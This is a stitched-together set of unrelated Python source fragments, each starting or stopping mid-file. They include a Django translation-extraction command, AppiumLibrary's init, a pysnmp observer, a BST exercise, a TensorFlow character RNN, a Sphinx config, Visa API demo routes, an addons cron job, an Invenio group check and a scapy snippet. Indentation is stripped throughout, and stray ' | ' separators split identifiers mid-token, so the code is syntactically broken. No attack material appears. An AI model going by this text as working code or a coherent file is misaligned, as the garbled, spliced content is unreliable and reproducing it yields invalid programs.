Take a block of raw text that will be passed through str.splitlines() to
get universal newlines treatment.
Return the resulting block of text with normalized `\n` EOL sequences ready
to be written to disk using current platform's native EOLs.
"""
lines_list = raw_contents.splitlines()
# Ensure last line has its EOL
if lines_list and lines_list[-1]:
lines_list.append('')
return '\n'.join(lines_list)
def write_pot_file(potfile, msgs):
"""
Write the `potfile` with the `msgs` contents, making sure its format is
valid.
"""
pot_lines = msgs.splitlines()
if os.path.exists(potfile):
# Strip the header
lines = dropwhile(len, pot_lines)
else:
lines = []
found, header_read = False, False
for line in pot_lines:
if not found and not header_read:
found = True
line = line.replace('charset=CHARSET', 'charset=UTF-8')
if not line and not found:
header_read = True
lines.append(line)
msgs = '\n'.join(lines)
with open(potfile, 'a', encoding='utf-8') as fp:
fp.write(msgs)
class Command(BaseCommand):
help = (
"Runs over the entire source tree of the current directory and "
"pulls out all strings marked for translation. It creates (or updates) a message "
"file in the conf/locale (in the django tree) or locale (for projects and "
"applications) directory.\n\nYou must run this command with one of either the "
"--locale, --exclude, or --all options."
)
translatable_file_class = TranslatableFile
build_file_class = BuildFile
requires_system_checks = False
leave_locale_alone = True
msgmerge_options = ['-q', '--previous']
msguniq_options = ['--to-code=utf-8']
msgattrib_options = ['--no-obsolete']
xgettext_options = ['--from-code=UTF-8', '--add-comments=Translators']
def add_argument | s(self, parser):
parser.add_argument(
'--locale', '-l', default=[], dest='locale', action='append',
help='Creates or updates the message files for the given locale(s) (e.g. pt_BR). '
'Can be used multiple times.',
)
parser.add_argument | (
'--exclude', '-x', default=[], dest='exclude', action='append',
help='Locales to exclude. Default is none. Can be used multiple times.',
)
parser.add_argument(
'--domain', '-d', default='django', dest='domain',
help='The domain of the message files (default: "django").',
)
parser.add_argument(
'--all', '-a', action='store_true', dest='all',
help='Updates the message files for all existing locales.',
)
parser.add_argument(
'--extension', '-e', dest='extensions', action='append',
help='The file extension(s) to examine (default: "html,txt,py", or "js" '
'if the domain is "djangojs"). Separate multiple extensions with '
'commas, or use -e multiple times.',
)
parser.add_argument(
'--symlinks', '-s', action='store_true', dest='symlinks',
help='Follows symlinks to directories when examining source code '
'and templates for translation strings.',
)
parser.add_argument(
'--ignore', '-i', action='append', dest='ignore_patterns',
default=[], metavar='PATTERN',
help='Ignore files or directories matching this glob-style pattern. '
'Use multiple times to ignore more.',
)
parser.add_argument(
'--no-default-ignore', action='store_false', dest='use_default_ignore_patterns',
help="Don't ignore the common glob-style patterns 'CVS', '.*', '*~' and '*.pyc'.",
)
parser.add_argument(
'--no-wrap', action='store_true', dest='no_wrap',
help="Don't break long message lines into several lines.",
)
parser.add_argument(
'--no-location', action='store_true', dest='no_location',
help="Don't write '#: filename:line' lines.",
)
parser.add_argument(
'--add-location', dest='add_location',
choices=('full', 'file', 'never'), const='full', nargs='?',
help=(
"Controls '#: filename:line' lines. If the option is 'full' "
"(the default if not given), the lines include both file name "
"and line number. If it's 'file', the line number is omitted. If "
"it's 'never', the lines are suppressed (same as --no-location). "
"--add-location requires gettext 0.19 or newer."
|
# -*- coding: utf-8 -*-
import os
from AppiumLibrary.keywords import *
from AppiumLibrary.version import VERSION
__version__ = VERSION
class AppiumLibrary(
_LoggingKeywords,
_RunOnFailureKeywords,
_ElementKeywords,
_ScreenshotKeywords,
_ApplicationManagementKeywords,
_WaitingKeywords,
_TouchKeywords,
_KeyeventKeywords,
_AndroidUtilsKeywords,
_ScreenrecordKeywords
):
"""AppiumLibrary is a Mobile App testing library for Robot Framework.
= Locating or specifying elements =
All keywords in AppiumLibrary that need to find an element on the page
take an argument, either a ``locator`` or a ``webelement``. ``locator``
is a string that describes how to locate an element using a syntax
specifying different location strategies. ``webelement`` is a variable that
holds a WebElement instance, which is a representation of the element.
== Using locators ==
By default, when a locator is provided, it is matched against the key attributes
of the particular element type. For iOS and Android, key attribute is ``id`` for
all elements and locating elements is easy using just the ``id``. For example:
| Click Element id=my_element
New in AppiumLibrary 1.4, ``id`` and ``xpath`` are not required to be specified,
however ``xpath`` should start with ``//`` else just use ``xpath`` locator as explained below.
For example:
| Click Element my_element
| Wait Until Page Contains Element //*[@type="android.widget.EditText"]
Appium additionally supports some of the [https://w3c.github.io/webdriver/webdriver-spec.html|Mobile JSON Wire Protocol] locator strategies.
It is also possible to specify the approach AppiumLibrary should take
to find an element by specifying a lookup strategy with a locator
prefix. Supported strategies are:
| *Strategy* | *Example* | *Description* | *Note* |
| identifier | Click Element `|` identifier=my_element | Matches by @id attribute | |
| id | Click Element `|` id=my_element | Matches by @resource-id attribute | |
| accessibility_id | Click Element `|` accessibility_id=button3 | Accessibility options utilize. | |
| xpath | Click Element `|` xpath=//UIATableView/UIATableCell/UIAButton | Matches with arbitrary XPath | |
| class | Click Element `|` class=UIAPickerWheel | Matches by class | |
| android | Click Element `|` android | =UiSelector().description('Apps') | Matches by Android UI Automator | |
| ios | Click Element `|` ios=.buttons().withName('Apps') | Matches by iOS UI Automation | |
| nsp | Click Element `|` nsp=name=="login" | Matches | by iOSNsPredicate | Check PR: #196 |
| chain | Click Element `|` chain=XCUIElementTypeWindow[1]/* | Matches by iOS Class Chain | |
| css | Click Element `|` css=.green_button | Matches by css in webview | |
| name | Click Element `|` name=my_element | Matches by @name attribute | *Only valid* for Selendroid |
== Using webelements ==
Starting with version 1.4 of the AppiumLibrary, one can pass an argument
that contains a WebElement instead of a string locator. To get a WebElement,
use the new `Get WebElements` or `Get WebElement` keyword.
For example:
| @{elements} Get Webelements class=UIAButton
| Click Element @{elements}[2]
"""
ROBOT_LIBRARY_SCOPE = 'GLOBAL'
ROBOT_LIBRARY_VERSION = VERSION
def __init__(self, timeout=5, run_on_failure='Capture Page Screenshot'):
"""AppiumLibrary can be imported with optional arguments.
``timeout`` is the default timeout used to wait for all waiting actions.
It can be later set with `Set Appium Timeout`.
``run_on_failure`` specifies the name of a keyword (from any available
libraries) to execute when a AppiumLibrary keyword fails.
By default `Capture Page Screenshot` will be used to take a screenshot of the current page.
Using the value `No Operation` will disable this feature altogether. See
`Register Keyword To Run On Failure` keyword for more information about this
functionality.
Examples:
| Library | AppiumLibrary | 10 | # Sets default timeout to 10 seconds |
| Library | AppiumLibrary | timeout=10 | run_on_failure=No Operation | # Sets default timeout to 10 seconds and does nothing on failure |
"""
for base in AppiumLibrary.__bases__:
base.__init__(self)
self.set_appium_timeout(timeout)
self.register_keyword_to_run_on_failure(run_on_failure)
|
#
# This file is part of pysnmp software.
#
# Copyright (c) 2005-2019, Ilya Etingof <etingof@gmail.com>
# License: http://snmplabs.com/pysnmp/license.html
#
from pysnmp import error
class MetaObserver(object):
"""This is a simple facility for exposing internal SNMP Engine
working details to pysnmp applications. These details are
basically local scope variables at a fixed point of execution.
Two modes of operations are offered:
1. Consumer: app can request an execution point context by execution point ID.
2. Provider: app can register its callback function (and context) to be invoked
once execution reaches specified point. All local scope variables
will be passed to the callback as in #1.
It's important to realize that execution context is only guaranteed
to exist to functions that are at the same or deeper level of invocation
relative to execution point specified.
"""
def __init__(self):
self.__observers = {}
self.__contexts = {}
self.__execpoints = {}
def registerObserver(self, cbFun, *execpoints, **kwargs):
if cbFun in self.__contexts:
raise error.PySnmpError('duplicate observer %s' % cbFun)
else:
self.__contexts[cbFun] = kwargs.get('cbCtx')
for execpoint in execpoints:
if execpoint not in self.__observers:
self._ | _observers[execpoint] = []
self.__observers[execpoint].append(cbFun)
def unregisterObserver(self, cbFun=None):
if cbFun is None:
self.__observers.clear()
self.__contexts.clear()
else:
for execpoint in dict(self.__observers):
if cbFun in self.__observers[execpoint]:
self.__observers[execpoint].remove(cbFun)
if not self.__obser | vers[execpoint]:
del self.__observers[execpoint]
def storeExecutionContext(self, snmpEngine, execpoint, variables):
self.__execpoints[execpoint] = variables
if execpoint in self.__observers:
for cbFun in self.__observers[execpoint]:
cbFun(snmpEngine, execpoint, variables, self.__contexts[cbFun])
def clearExecutionContext(self, snmpEngine, *execpoints):
if execpoints:
for execpoint in execpoints:
del self.__execpoints[execpoint]
else:
self.__execpoints.clear()
def getExecutionContext(self, execpoint):
return self.__execpoints[execpoint]
|
'''
Problem:
Find the kth smallest element in a bs | t without using static/global variables.
'''
def find(node, k, items=0):
# Base case.
if not node:
return items, None
# Decode the nod | e.
left, value, right = node
# Check left.
index, result = find(left, k, items)
# Exit early.
if result:
return index, result
# Check this node.
next = index + 1
if next == k:
return next, value
# Check the right.
return find(right, k, next)
test = (((None, 1, None), 2, (None, 3, None)), 4, ((None, 5, None), 5, (None, 6, None)))
#test = ((None, 1, None), 2, (None, 3, None))
print(find(test, 11))
|
# -*- coding: utf-8 -*-
# Copyright(C) 2017 Juliette Fourcot
#
# This file is part of a weboob module.
#
# This weboob module is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the Li | cense, or
# (at your option) any later version.
#
# This weboob module is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this weboob module. If not, see <http://www.gnu.org/l | icenses/>.
from __future__ import unicode_literals
from .module import EnsapModule
__all__ = ['EnsapModule']
|
# coding: utf-8
# # Simple Character-level Language Model using vanilla RNN
# 2017-04-21 jkang
# Python3.5
# TensorFlow1.0.1
#
# - <p style="color:red">Different window sizes were applied</p> e.g. n_window = 3 (three-character window)
# - input: 'hello_world_good_morning_see_you_hello_grea'
# - output: 'ello_world_good_morning_see_you_hello_great'
#
# ### Reference:
# - https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/rnn/python/ops/core_rnn_cell_impl.py
# - https://github.com/aymericdamien/TensorFlow-Examples
# - https://hunkim.github.io/ml/
#
# ### Comment:
# - 단어 단위가 아닌 문자 단위로 훈련함
# - 하나의 example만 훈련에 사용함
# : 하나의 example을 windowing하여 여러 샘플을 만들어 냄 (새로운 샘플의 크기는 window_size)
# - Cell의 종류는 BasicRNNCell을 사용함 (첫번째 Reference 참조)
# - dynamic_rnn방식 사용 (기존 tf.nn.rnn보다 더 시간-계산 효율적이라고 함)
# - AdamOptimizer를 사용
# In[1]:
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
import random
# Input/Ouput data
char_raw = 'hello_world_good_morning_see_you_hello_great'
char_list = sorted(list(set(char_raw)))
char_to_idx = {c: i for i, c in enumerate(char_list)}
idx_to_char = {i: c for i, c in enumerate(char_list)}
char_data = [char_to_idx[c] for c in char_raw]
char_data_one_hot = tf.one_hot(char_data, depth=len(
char_list), on_value=1., off_value=0., axis=1, dtype=tf.float32)
char_input = char_data_one_hot[:-1, :] # 'hello_world_good_morning_see_you_hello_grea'
char_output = char_data_one_hot[1:, :] # 'ello_world_good_morning_see_you_hello_great'
with tf.Session() as sess:
char_input = char_input.eval()
char_output = char_output.eval()
# In[2]:
# Learning parameters
learning_rate = 0.001
max_iter = 1000
# Network Parameters
n_input_dim = char_input.shape[1]
n_input_len = char_input.shape[0]
n_output_dim = char_output.shape[1]
n_output_len = char_output.shape[0]
n_hidden = 100
n_window = 2 # number of characters in one window (like a mini-batch)
# TensorFlow graph
# (batch_size) x (time_step) x (input_dimension)
x_data = tf.placeholder(tf.float32, [None, None, n_input_dim])
# (batch_size) x (time_step) x (output_dimension)
y_data = tf.placeholder(tf.float32, [None, None, n_output_dim])
# Parameters
weights = {
'out': tf.Variable(tf.truncated_normal([n_hidden, n_output_dim]))
}
biases = {
'out': tf.Variable(tf.truncated_normal([n_output_dim]))
}
# In[3]:
def make_window_batch(x, y, window_size):
'''
This function will generate samples based on window_size from (x, y)
Although (x, y) is one | example, it will create multiple examples with the length of window_size
x: (time_step) x (input_dim)
y: (time_step) x (output_dim)
x_out: (total_batch) x (batch_size) x (window_size) x (input_dim)
y_out: (total_batch) x (batch_size) x (window_size) x (output_dim)
total_batch x bat | ch_size <= examples
'''
# (batch_size) x (window_size) x (dim)
# n_examples is calculated by sliding one character with window_size
n_examples = x.shape[0] - window_size + 1 # n_examples = batch_size
x_batch = np.empty((n_examples, window_size, x.shape[1]))
y_batch = np.empty((n_examples, window_size, y.shape[1]))
for i in range(n_examples):
x_batch[i, :, :] = x[i:i + window_size, :]
y_batch[i, :, :] = y[i:i + window_size, :]
z = list(zip(x_batch, y_batch))
random.shuffle(z)
x_batch, y_batch = zip(*z)
x_batch = np.array(x_batch)
y_batch = np.array(y_batch)
# (total_batch) x (batch_size) x (window_size) x (dim)
# total_batch is set to 1 (no mini-batch)
x_new = x_batch.reshape((n_examples, window_size, x_batch.shape[2]))
y_new = y_batch.reshape((n_examples, window_size, y_batch.shape[2]))
return x_new, y_new, n_examples
# In[4]:
def RNN(x, weights, biases):
cell = tf.contrib.rnn.BasicRNNCell(n_hidden) # Make RNNCell
outputs, states = tf.nn.dynamic_rnn(cell, x, time_major=False, dtype=tf.float32)
'''
**Notes on tf.nn.dynamic_rnn**
- 'x' can have shape (batch)x(time)x(input_dim), if time_major=False or
(time)x(batch)x(input_dim), if time_major=True
- 'outputs' can have the same shape as 'x'
(batch)x(time)x(input_dim), if time_major=False or
(time)x(batch)x(input_dim), if time_major=True
- 'states' is the final state, determined by batch and hidden_dim
'''
# outputs[-1] is outputs for the last example in the mini-batch
return tf.matmul(outputs[-1], weights['out']) + biases['out']
def softmax(x):
rowmax = np.max(x, axis=1)
x -= rowmax.reshape((x.shape[0] ,1)) # for numerical stability
x = np.exp(x)
sum_x = np.sum(x, axis=1).reshape((x.shape[0],1))
return x / sum_x
pred = RNN(x_data, weights, biases)
cost = tf.reduce_mean(tf.squared_difference(pred, y_data))
optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)
# In[5]:
# Learning
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
for i in range(max_iter):
loss = 0
x_batch, y_batch, n_examples = make_window_batch(char_input, char_output, n_window)
for ibatch in range(x_batch.shape[0]):
x_train = x_batch[ibatch, :, :].reshape((1,-1,n_input_dim))
y_train = y_batch[ibatch, :, :].reshape((1,-1,n_output_dim))
x_test = char_input.reshape((1, n_input_len, n_input_dim))
y_test = char_output.reshape((1, n_input_len, n_input_dim))
c, _ = sess.run([cost, optimizer], feed_dict={
x_data: x_train, y_data: y_train})
p = sess.run(pred, feed_dict={x_data: x_test, y_data: y_test})
loss += c
mean_mse = loss / n_examples
if i == (max_iter-1):
pred_act = softmax(p)
if (i+1) % 100 == 0:
pred_out = np.argmax(p, axis=1)
accuracy = np.sum(char_data[1:] == pred_out)/n_output_len*100
print('Epoch:{:>4}/{},'.format(i+1,max_iter),
'Cost:{:.4f},'.format(mean_mse),
'Acc:{:>.1f},'.format(accuracy),
'Predict:', ''.join([idx_to_char[i] for i in pred_out]))
# In[6]:
# Probability plot
fig, ax = plt.subplots()
fig.set_size_inches(15,20)
plt.title('Input Sequence', y=1.08, fontsize=20)
plt.xlabel('Probability of Next Character(y) Given Current One(x)'+
'\n[window_size={}, accuracy={:.1f}]'.format(n_window, accuracy),
fontsize=20, y=1.5)
plt.ylabel('Character List', fontsize=20)
plot = plt.imshow(pred_act.T, cmap=plt.get_cmap('plasma'))
fig.colorbar(plot, fraction=0.015, pad=0.04)
plt.xticks(np.arange(len(char_data)-1), list(char_raw)[:-1], fontsize=15)
plt.yticks(np.arange(len(char_list)), [idx_to_char[i] for i in range(len(char_list))], fontsize=15)
ax.xaxis.tick_top()
# Annotate
for i, idx in zip(range(len(pred_out)), pred_out):
annotation = idx_to_char[idx]
ax.annotate(annotation, xy=(i-0.2, idx+0.2), fontsize=12)
plt.show()
# f.savefig('result_' + idx + '.png')
|
36 2013.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
import sys
import os
# If extensions (or modules to document with autodoc) are in another
# directory, add these directories to sys.path here. If the directory is
# relative to the documentation root, use os.path.abspath to make it
# absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))
# Get the project root dir, which is the parent dir of this
cwd = os.getcwd()
project_root = os.path.dirname(cwd)
# Insert the project root dir as the first element in the PYTHONPATH.
# This lets us ensure that the source package is imported, and that its
# version is used.
sys.path.insert(0, project_root)
import bitk3
# -- General configuration ---------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode']
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix of source filenames.
source_suffix = '.rst'
# The encoding of source files.
#source_encoding = 'utf-8-sig'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'BIoinformatics ToolKit 3'
copyright = u"2016, Davi Ortega"
# The version info for the project you're documenting, acts as replacement
# for |version| and |release|, also used in various other places throughout
# the built documents.
#
# The short X.Y version.
version = bitk3.__version__
# The full version, including alpha/beta/rc tags.
release = bitk3.__version__
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None
# There are two options for replacing |today|: either, you set today to
# some non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']
# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built
# documents.
#keep_warnings = False
# -- Options for HTML output -------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'default'
# Theme options are theme-specific and customize the look and feel of a
# theme further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as
# html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the
# top of the sidebar.
#html_logo = None
# The name of an image file (within the static path) to use as favicon
# of the docs. This file should be a Windows icon file (.ico) being
# 16x16 or 32x32 pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets)
# here, relative to this directory. They are copied after the builtin
# static files, so a file named "default.css" will overwrite the builtin
# "default.css".
html_static_path = ['_static']
# If not '', a 'Last updated on:' timestamp is inserted at every page
# bottom, using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names
# to template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer.
# Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer.
# Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages
# will contain a <link> tag referring to it. The value of this option
# must be the base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Output file base name for HTML help builder.
htmlhelp_basename = 'bitk3doc'
# -- Options for LaTeX output ------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#'preamble': '',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, documentclass
# [howto/manual]).
latex_documents = [
('index', 'bitk3.tex',
u'BIoinformatics ToolKit 3 Documentation',
u'Davi Ortega', 'manual'),
]
# The name of an image file (relative to this directory) to place at
# the top of the title page.
#latex_logo = None
# For "manual" documents, if this is true, then toplevel headings
# are parts, not chapters.
#latex_use_parts = False
# If true, show page references after internal links.
#latex_show_pagerefs = False
# If true, show URL addresses after external links.
#latex_show_urls = False
# Documents to append as an appendix to all man | uals.
#latex_appendices = []
# If false, no module index is generated.
#latex_domain_indices = True
# -- Options for manual page output ------------------------------------
# One entry per manual page. List of tup | les
# (source start file, name, description, authors, manual section).
man_pages = [
('index', 'bitk3',
u'BIoinformatics ToolKit 3 Documentation',
[u'Davi Ortega'], 1)
]
# If true, show URL addresses after external links.
#man_show_urls = False
# -- Options for Texinfo output ----------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
('index', 'bitk3',
u'BIoinformatics ToolKit 3 Documentation',
u'Davi Ortega',
'bitk3',
'One line description of project.',
'Miscellaneous'),
]
# Documents to append as an appendix to all manuals.
#texinfo_appendices = []
# If false, no module index is generated.
#texinfo_domain_indices = True
# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'foo |
from django.conf.urls import include, url
from demo.views import common
from demo.views.visadirect import fundstransfer, mvisa, reports, watchlist
from demo.views.pav import pav
from demo.views.dcas import cardinquiry
from demo.views.merchantsearch import search
from demo.views.paai.fundstransferattinq.cardattributes.fundstransferinquiry import funds_transfer_inquiry
from demo.views.paai.generalattinq.cardattributes.generalinquiry import general_inquiry
urlpatterns = [
url(r'^$', common.index),
# Payment Account Attributes Inquiry
url(r'^paai$', common.paai, name='paai'),
url(r'^paai/', include([
url(r'^fundstransferattinq/cardattributes/fundstransferinquiry$', funds_transfer_inquiry, name='paai_fti'),
url(r'^generalattinq/cardattributes/generalinquiry$', general_inquiry, name='paai_gi')
])),
# Merchant search
url(r'^merchantsearch$', common.merchantsearch, name='merchantsearch'),
url(r'^merchantsearch/', include([
url(r'^search$', search.merchant_search, name='merchantsearch_search'),
])),
# Payment account validation methods urls
url(r'^pav$', common.pav, name='pav'),
url(r'^pav/', include([
url(r'^cardvalidation$', pav.card_validation, name='pav_cardvalidation')
])),
# Digital card and account services
url(r'^dcas$', common.dcas, name='dcas'),
url(r'^dcas/', include([
url(r'^cardinquiry$', cardinquiry.debit_card_inquiry, name='dcas_debitcardinquiry')
])),
# VISA Direct methods urls
url(r'^visadirect$', common.visa_direct, name='vd'),
url(r'^visadirect/', include([
# FundsTransfer API
url(r'^fundstransfer$', fundstransfer.index, name='vd_ft'),
url(r'^fundstransfer/', include([
url(r'^pullfunds$', fundstransfer.pull, name='vd_ft_pullfunds'),
url(r'^pushfunds$', fundstransfer.push, name='vd_ft_pushfunds'),
url(r'^reversefunds$', fundstransfer.reverse, name='vd_ft_reversefunds'),
])),
# mVISA API
url(r'^mvisa$', mvisa.index, name='vd_mvisa'),
url(r'^mvisa/', include([
url(r'^cashinpushpayments$', mvisa.cipp, name='vd_mvisa_cipp'),
url(r'^cashoutpushpayments$', mvisa.copp, name='vd_mvisa_copp'),
url(r'^merchantpushpayments$', mvisa.mpp, name='vd_mvisa_mpp'),
])),
# Repo | rts API
url(r'^reports$', reports.index, name='vd_reports'),
url(r'^reports/', include([
url(r'^transactiondata$', reports.transactiondata, name='vd_reports_transactiondata'),
])),
# WatchList Inquiry methods | urls
url(r'^watchlist$', watchlist.index, name='vd_wl'),
url(r'^watchlist/', include([
url(r'^inquiry$', watchlist.inquiry, name='vd_wl_inquiry')
]))
])),
]
|
import sys
if '' not in sys.path:
sys.path.append('')
import time
import unittest
from pyactors.logs import file_logger
from pyactors.exceptions import EmptyInboxException
from tests import ForkedGreActor as TestActor
from multiprocessing import Manager
class ForkedGreenletActorTest(unittest.TestCase):
def test_run(self):
''' test_forked_green_actors.test_run
'''
test_name = 'test_forked_gen_actors.test_run'
logger = file_logger(test_name, filename='logs/%s.log' % test_name)
actor = TestActor()
actor.start()
while actor.processing:
time.sleep(0.1)
actor. | stop()
result = []
while True:
try:
result.append(actor.inbox.get())
except EmptyInboxException:
break
| self.assertEqual(len(result), 10)
self.assertEqual(actor.processing, False)
self.assertEqual(actor.waiting, False)
if __name__ == '__main__':
unittest.main()
|
from django import forms
from django_roa_client.models import RemotePage, RemotePageWithRelations
class TestForm(forms.Form):
test_field = forms.CharFiel | d()
remote_page = forms.ModelChoiceField( | queryset=RemotePage.objects.all())
class RemotePageForm(forms.ModelForm):
class Meta:
model = RemotePage
class RemotePageWithRelationsForm(forms.ModelForm):
class Meta:
model = RemotePageWithRelations
|
from datetime import datetime, timedelta
from django.core.files.storage import default_storage as storage
import olympia.core.logger
from olympia import amo
from olympia.activity.models import ActivityLog
from olympia.addons.models import Addon
from olympia.addons.tasks import delete_addons
from olympia.amo.utils import chunked
from olympia.files.models import FileUpload
from olympia.scanners.models import ScannerResult
from olympia.amo.models import FakeEmail
from . import tasks
from .sitemap import (
get_sitemap_path,
get_sitemaps,
get_sitemap_section_pages,
render_index_xml,
)
log = olympia.core.logger.getLogger('z.cron')
def gc(test_result=True):
"""Site-wide garbage collections."""
def days_ago(days):
return datetime.today() - timedelta(days=days)
log.info('Collecting data to delete')
logs = (
ActivityLog.objects.filter(created__lt=days_ago(90))
.exclude(action__in=amo.LOG_KEEP)
.values_list('id', flat=True)
)
for chunk in chunked(logs, 100):
tasks.delete_logs.delay(chunk)
two_we | eks_ago = days_ago(15)
# Hard-delete stale add-ons with no versions. No email should be sent.
versionless_addons = Addon.unfiltered.filter(
versions__pk=None, created__lte=two_weeks_ago
).values_list('pk', flat=True)
for chunk in chunked(versionless_addons, 100):
delete_addons.delay(chunk, with_deleted=True)
# Delete stale FileUploads.
stale_uploads = FileUpload.objects.filter(created__lte=two_weeks_ago).order_by('id')
for file_upload in stale_uploads:
| log.info(
'[FileUpload:{uuid}] Removing file: {path}'.format(
uuid=file_upload.uuid, path=file_upload.path
)
)
if file_upload.path:
try:
storage.delete(file_upload.path)
except OSError:
pass
file_upload.delete()
# Delete stale ScannerResults.
ScannerResult.objects.filter(upload=None, version=None).delete()
# Delete fake emails older than 90 days
FakeEmail.objects.filter(created__lte=days_ago(90)).delete()
def write_sitemaps(section=None, app_name=None):
index_url = get_sitemap_path(None, None)
sitemaps = get_sitemaps()
if (not section or section == 'index') and not app_name:
with storage.open(index_url, 'w') as index_file:
log.info('Writing sitemap index')
index_file.write(render_index_xml(sitemaps))
for _section, _app_name, _page in get_sitemap_section_pages(sitemaps):
if (section and section != _section) or (app_name and app_name != _app_name):
continue
if _page % 1000 == 1:
# log an info message every 1000 pages in a _section, _app_name
log.info(f'Writing sitemap file for {_section}, {_app_name}, {_page}')
filename = get_sitemap_path(_section, _app_name, _page)
with storage.open(filename, 'w') as sitemap_file:
sitemap_object = sitemaps.get((_section, amo.APPS.get(_app_name)))
if not sitemap_object:
continue
content = sitemap_object.render(app_name=_app_name, page=_page)
sitemap_file.write(content)
|
## This file is part of CDS Invenio.
## Copyright (C) 2002, 2003, 2004, 2005, 2006, 2007, 2008 CERN.
##
## CDS Invenio is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License as
## published by the Free Software Foundation; either version 2 of the
## License, or (at your option) any later version.
##
## CDS Invenio is distributed in the hope that it will be useful, but
## WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
## General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with CDS Invenio; if not, write to the Free Software Foundation, Inc.,
## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA | .
__revision__ = "$Id$"
import os
import re
from invenio.dbquery import run_sql
from invenio.websubmit_config import InvenioWebSubmitFunctionStop
def Check_Group(parameters, curdir, form, user_info | =None):
"""
Check that a group exists.
Read from file "/curdir/Group"
If the group does not exist, switch to page 1, step 0
"""
#Path of file containing group
if os.path.exists("%s/%s" % (curdir,'Group')):
fp = open("%s/%s" % (curdir,'Group'),"r")
group = fp.read()
group = group.replace("/","_")
group = re.sub("[\n\r]+","",group)
res = run_sql ("""SELECT id FROM usergroup WHERE name = %s""", (group,))
if len(res) == 0:
raise InvenioWebSubmitFunctionStop("""
<SCRIPT>
document.forms[0].action="/submit";
document.forms[0].curpage.value = 1;
document.forms[0].step.value = 0;
user_must_confirm_before_leaving_page = false;
document.forms[0].submit();
alert('The given group name (%s) is invalid.');
</SCRIPT>""" % (group,))
else:
raise InvenioWebSubmitFunctionStop("""
<SCRIPT>
document.forms[0].action="/submit";
document.forms[0].curpage.value = 1;
document.forms[0].step.value = 0;
user_must_confirm_before_leaving_page = false;
document.forms[0].submit();
alert('The given group name (%s) is invalid.');
</SCRIPT>""" % (group,))
return ""
|
*
from scapy.sendrecv import srp,srp1
from scapy.arch import get_if_hwaddr
#################
## Tools ##
#################
class Neighbor:
def __init__(self):
self.resolvers = {}
def register_l3(self, l2, l3, resolve_method):
self.resolvers[l2,l3]=resolve_method
def resolve(self, l2inst, l3inst):
k = l2inst.__class__,l3inst.__class__
if k in self.resolvers:
return self.resolvers[k](l2inst,l3inst)
def __repr__(self):
return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2,l3 in self.resolvers)
conf.neighbor = Neighbor()
conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s
@conf.commands.register
def getmacbyip(ip, chainCC=0):
"""Return MAC address corresponding to a given IP address"""
if isinstance(ip,Net):
